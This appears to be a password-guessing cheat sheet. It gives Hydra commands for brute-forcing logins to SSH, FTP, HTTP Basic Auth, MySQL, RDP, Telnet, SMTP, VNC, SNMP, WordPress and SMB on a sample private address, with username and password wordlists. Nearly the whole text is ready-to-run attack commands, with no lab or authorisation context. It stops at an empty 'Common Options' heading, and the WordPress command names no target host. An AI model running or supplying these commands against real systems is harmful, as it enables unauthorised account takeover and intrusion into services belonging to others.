Brute Forcing SSH

hydra -l root -P passwords.txt ssh://192.168.1.100

Alternative: Using multiple usernames

hydra -L users.txt -P passwords.txt ssh://192.168.1.100

Brute Forcing FTP

hydra -l admin -P passwords.txt ftp://192.168.1.100

Alternative: Anonymous Login

hydra -l anonymous -P passwords.txt ftp://192.168.1.100

Brute Forcing HTTP Login (Basic Auth)

hydra -L users.txt -P passwords.txt http://192.168.1.100 -m /admin

Brute Forcing MySQL

hydra -L users.txt -P passwords.txt 192.168.1.100 mysql

Brute Forcing RDP

hydra -L users.txt -P passwords.txt rdp://192.168.1.100

Brute Forcing Telnet

hydra -l admin -P passwords.txt telnet://192.168.1.100

Brute Forcing SMTP (Mail Server)

hydra -L users.txt -P passwords.txt smtp://192.168.1.100 -V

Brute Forcing VNC

hydra -P passwords.txt vnc://192.168.1.100

Brute Forcing SNMP

hydra -P community.txt snmp://192.168.1.100

Brute Forcing WordPress

hydra -L users.txt -P passwords.txt http-post-form \
"wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"

Brute Forcing SMB (Windows File Sharing)

hydra -L users.txt -P passwords.txt smb://192.168.1.100

Common Options